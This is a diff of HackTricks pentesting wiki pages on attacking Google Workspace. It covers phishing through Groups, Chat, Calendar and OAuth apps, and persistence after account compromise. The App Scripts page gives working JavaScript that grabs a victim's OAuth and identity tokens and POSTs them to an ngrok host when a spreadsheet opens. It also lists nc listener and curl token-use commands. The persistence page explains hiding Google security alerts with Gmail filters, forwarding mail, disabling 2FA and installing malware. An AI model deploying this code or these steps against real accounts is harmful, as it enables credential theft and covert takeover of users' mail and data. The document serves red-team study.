+{{#ref}}
+https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
+{{#endref}}
 
 ## Google Groups Phishing
 
@@ -25,30 +14,28 @@ Apparently, by default, in workspace members [**can create groups**](https://gro
 
 It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
 
-<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Google Chat Phishing
 
 You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
 
-<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="success" %}
-**In my testing however the invited members didn't even receive an invitation.**
-{% endhint %}
+> [!TIP]
+> **In my testing however the invited members didn't even receive an invitation.**
 
-You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s)
+You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
 
 ## Google Doc Phishing
 
 In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
 Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
 
-<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="success" %}
-Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
-{% endhint %}
+> [!TIP]
+> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
 
 ## Google Calendar Phishing
 
@@ -56,51 +43,48 @@ You can **create a calendar event** and add as many email address of the company
 
 This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
 
-<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
 
 To make it look less suspicious:
 
-* Set it up so that **receivers cannot see the other people invited**
-* Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
-* Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
+- Set it up so that **receivers cannot see the other people invited**
+- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
+- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
 
 ## App Scripts Redirect Phishing
 
 It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
 The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
 
-{% code overflow="wrap" %}
 ```javascript
 function doGet() {
-  return HtmlService.createHtmlOutput('<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">')
-        .setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL);
+  return HtmlService.createHtmlOutput(
+    '<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
+  ).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
 }
 ```
-{% endcode %}
 
-For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH\_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
+For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
 
-<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="success" %}
-Note that a warning will appear as the content is loaded inside an iframe.
-{% endhint %}
+> [!TIP]
+> Note that a warning will appear as the content is loaded inside an iframe.
 
 ## App Scripts OAuth Phishing
 
 It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
 
-{% content-ref url="gws-app-scripts.md" %}
-[gws-app-scripts.md](gws-app-scripts.md)
-{% endcontent-ref %}
+{{#ref}}
+gws-app-scripts.md
+{{#endref}}
 
 ## OAuth Apps Phishing
 
 Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
 
-{% hint style="info" %}
-Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
-{% endhint %}
+> [!NOTE]
+> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
 
 **Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
 
@@ -115,15 +99,15 @@ As it was mentioned, google will always present a **prompt to the user to accept
 
 This prompt appears in apps that:
 
-* Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
-* Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
+- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
+- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
 
 ### Interesting Scopes
 
 [**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
 
-* **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
-* **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
+- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
+- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
 
 ### Create an OAuth App
 
@@ -131,11 +115,11 @@ This prompt appears in apps that:
 
 1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
 2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
-   * Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
+   - Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
 3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
 4. **Select** the **OAuth scopes**.
-   * This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
-   * Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
+   - This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
+   - Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
 5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
 
 Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
@@ -143,10 +127,10 @@ Now let's get **credentials for a web application** using the **previously creat
 1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
 2. Select to **create credentials for a Web application**
 3. Set needed **Javascript origins** and **redirect URIs**
-   * You can set in both something like **`http://localhost:8000/callback`** for testing
+   - You can set in both something like **`http://localhost:8000/callback`** for testing
 4. Get your application **credentials**
 
-Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp\_oauth\_phishing\_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
+Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
 
 ```bash
 git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
@@ -157,38 +141,25 @@ python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
 
 Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
 
-<figure><img src="../../../.gitbook/assets/image (333).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
 
 The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
 
-{% content-ref url="../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md" %}
-[gcp-non-svc-persistance.md](../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
+{{#endref}}
 
 #### Using `glcoud`
 
 It's possible to do something using gcloud instead of the web console, check:
 
-{% content-ref url="../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md" %}
-[gcp-clientauthconfig-privesc.md](../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
+{{#endref}}
 
 ## References
 
-* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
-* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
+- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
+- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md
new file mode 100644
index 000000000..f51006208
--- /dev/null
+++ b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md
@@ -0,0 +1,235 @@
+# GWS - App Scripts
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## App Scripts
+
+App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
+They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
+
+### Create App Script
+
+There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
+
+<details>
+
+<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
+
+1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
+2. Click **Extensions** > **Google Apps Script**.
+3. In the script editor, click **Untitled project**.
+4. Give your project a name and click **Rename**.
+
+</details>
+
+<details>
+
+<summary>Create a standalone project</summary>
+
+To create a standalone project from Apps Script:
+
+1. Go to [`script.google.com`](https://script.google.com/).
+2. Click add **New Project**.
+3. In the script editor, click **Untitled project**.
+4. Give your project a name and click **Rename**.
+
+</details>
+
+<details>
+
+<summary>Create a standalone project from Google Drive</summary>
+
+1. Open [Google Drive](https://drive.google.com/).
+2. Click **New** > **More** > **Google Apps Script**.
+
+</details>
+
+<details>
+
+<summary>Create a container-bound project from Google Forms</summary>
+
+1. Open a form in Google Forms.
+2. Click More more_vert > **Script editor**.
+3. In the script editor, click **Untitled project**.
+4. Give your project a name and click **Rename**.
+
+</details>
+
+<details>
+
+<summary>Create a standalone project using the clasp command line tool</summary>
+
+`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
+
+See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
+
+</details>
+
+## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
+
+### Create Google Sheet with App Script
+
+Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
+
+### Leak token
+
+In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
+
+- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
+- **Gmail**: To access gmail data
+- **Drive**: To access drive data
+- **Google Sheets API**: So it works with the trigger
+
+To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
+
+```javascript
+function getToken() {
+  var userEmail = Session.getActiveUser().getEmail()
+  var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
+  var oauthToken = ScriptApp.getOAuthToken()
+  var identityToken = ScriptApp.getIdentityToken()
+
+  // Data json
+  data = {
+    oauthToken: oauthToken,
+    identityToken: identityToken,
+    email: userEmail,
+    domain: domain,
+  }
+
+  // Send data
+  makePostRequest(data)
+
+  // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
+
+  // To ask for AdminDirectory permissions
+  var pageToken = ""
+  page = AdminDirectory.Users.list({
+    domain: domain, // Use the extracted domain
+    orderBy: "givenName",
+    maxResults: 100,
+    pageToken: pageToken,
+  })
+
+  // To ask for gmail permissions
+  var threads = GmailApp.getInboxThreads(0, 10)
+
+  // To ask for drive permissions
+  var files = DriveApp.getFiles()
+}
+
+function makePostRequest(data) {
+  var url = "http://5.tcp.eu.ngrok.io:12027"
+
+  var options = {
+    method: "post",
+    contentType: "application/json",
+    payload: JSON.stringify(data),
+  }
+
+  try {
+    UrlFetchApp.fetch(url, options)
+  } catch (e) {
+    Logger.log("Error making POST request: " + e.toString())
+  }
+}
+```
+
+To capture the request you can just run:
+
+```bash
+ngrok tcp 4444
+nc -lv 4444 #macOS
+```
+
+Permissions requested to execute the App Script:
+
+<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
+
+> [!WARNING]
+> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
+
+### Create Trigger
+
+Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
+
+Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
+
+### Sharing
+
+In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
+
+> [!TIP]
+> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
+
+### Abusing Shared With Me documents
+
+> [!CAUTION]
+> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
+>
+> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
+
+> [!TIP]
+> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
+
+### Copying instead of sharing
+
+When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
+If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
+
+<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
+
+If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
+
+### Sharing as Web Application
+
+Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
+
+<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
+
+Followed by the **typical OAuth prompt asking** for the needed permissions.
+
+### Testing
+
+You can test a gathered token to list emails with:
+
+```bash
+curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
+-H "Authorization: Bearer <token>"
+```
+
+List calendar of the user:
+
+```bash
+curl -H "Authorization: Bearer $OAUTH_TOKEN" \
+     -H "Accept: application/json" \
+     "https://www.googleapis.com/calendar/v3/users/me/calendarList"
+```
+
+## App Script as Persistence
+
+One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
+
+It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
+
+Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
+
+<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
+
+> [!CAUTION]
+> This will create a security alert email and a push message to your mobile alerting about this.
+
+### Shared Document Unverified Prompt Bypass
+
+Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
+
+> [!WARNING]
+> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
+>
+> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
+
+> [!CAUTION]
+> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
+> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/gws-persistence.md b/src/pentesting-cloud/workspace-security/gws-persistence.md
new file mode 100644
index 000000000..3dd28ae67
--- /dev/null
+++ b/src/pentesting-cloud/workspace-security/gws-persistence.md
@@ -0,0 +1,182 @@
+# GWS - Persistence
+
+{{#include ../../banners/hacktricks-training.md}}
+
+> [!CAUTION]
+> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
+
+## **Persistence in Gmail**
+
+- You can create **filters to hide** security notifications from Google
+  - `from: (no-reply@accounts.google.com) "Security Alert"`
+  - This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
+
+<details>
+
+<summary>Steps to create a gmail filter</summary>
+
+(Instructions from [**here**](https://support.google.com/mail/answer/6579))
+
+1. Open [Gmail](https://mail.google.com/).
+2. In the search box at the top, click Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
+3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
+4. At the bottom of the search window, click **Create filter**.
+5. Choose what you’d like the filter to do.
+6. Click **Create filter**.
+
+Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
+
+</details>
+
+<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
+
+- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
+  - Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
+  - The receiving address will need to confirm this
+  - Then, set to forward all the emails while keeping a copy (remember to click on save changes):
+
+<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
+
+It's also possible create filters and forward only specific emails to the other email address.
+
+## App passwords
+
+If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
+
+**Even if you have an open session you will need to know the password of the user to create an app password.**
+
+> [!NOTE]
+> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
+
+## Change 2-FA and similar
+
+It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
+**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
+
+> [!CAUTION]
+> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
+>
+> It's also possible to **locate the device.**
+
+**Even if you have an open session you will need to know the password of the user to change these settings.**
+
+## Persistence via OAuth Apps
+
+If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
+It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
+
+Check the following page for more information about OAuth Apps:
+
+{{#ref}}
+gws-google-platforms-phishing/
+{{#endref}}
+
+## Persistence via delegation
+
+You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
+
+<details>
+
+<summary>If you are a Workspace admin check this to enable the feature</summary>
+
+(Information [copied form the docs](https://support.google.com/a/answer/7223765))
+
+As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
+
+- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
+- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
+
+Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
+
+#### Delegation limits & restrictions
+
+- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
+- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
+- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
+- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
+- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
+
+#### Step 1: Turn on Gmail delegation for your users
+
+**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
+
+1.  [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
+
+    Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
+
+2.  In the Admin console, go to Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**.
+3.  To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
+4.  Click **Mail delegation**.
+5.  Check the **Let users delegate access to their mailbox to other users in the domain** box.
+6.  (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
+7.  Select an option for the default sender information that's included in messages sent by delegates:
+    - **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
+    - **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
+8.  (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
+9.  Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
+10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
+
+Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
+
+#### Step 2: Have users set up delegates for their accounts
+
+After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
+
+For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
+
+</details>
+
+<details>
+
+<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
+
+(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
+
+You can add up to 10 delegates.
+
+If you're using Gmail through your work, school, or other organization:
+
+- You can add up to 1000 delegates within your organization.
+- With typical use, 40 delegates can access a Gmail account at the same time.
+- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
+
+1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
+2. In the top right, click Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings**.
+3. Click the **Accounts and Import** or **Accounts** tab.
+4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
+   - If you don't see Grant access to your account, then it's restricted.
+5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
+   \
+   **Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
+
+   - [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
+   - [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
+
+   6\. Click **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access**.
+
+   The person you added will get an email asking them to confirm. The invitation expires after a week.
+
+   If you added a group, all group members will become delegates without having to confirm.
+
+   Note: It may take up to 24 hours for the delegation to start taking effect.
+
+</details>
+
+## Persistence via Android App
+
+If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
+
+## **Persistence via** App Scripts
+
+You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
+
+{{#ref}}
+gws-google-platforms-phishing/gws-app-scripts.md
+{{#endref}}
+
+## References
+
+- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
+- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-post-exploitation.md b/src/pentesting-cloud/workspace-security/gws-post-exploitation.md
similarity index 56%
rename from pentesting-cloud/workspace-security/gws-post-exploitation.md
rename to src/pentesting-cloud/workspace-security/gws-post-exploitation.md
index a1a3cf4a1..411fcca77 100644
--- a/pentesting-cloud/workspace-security/gws-post-exploitation.md
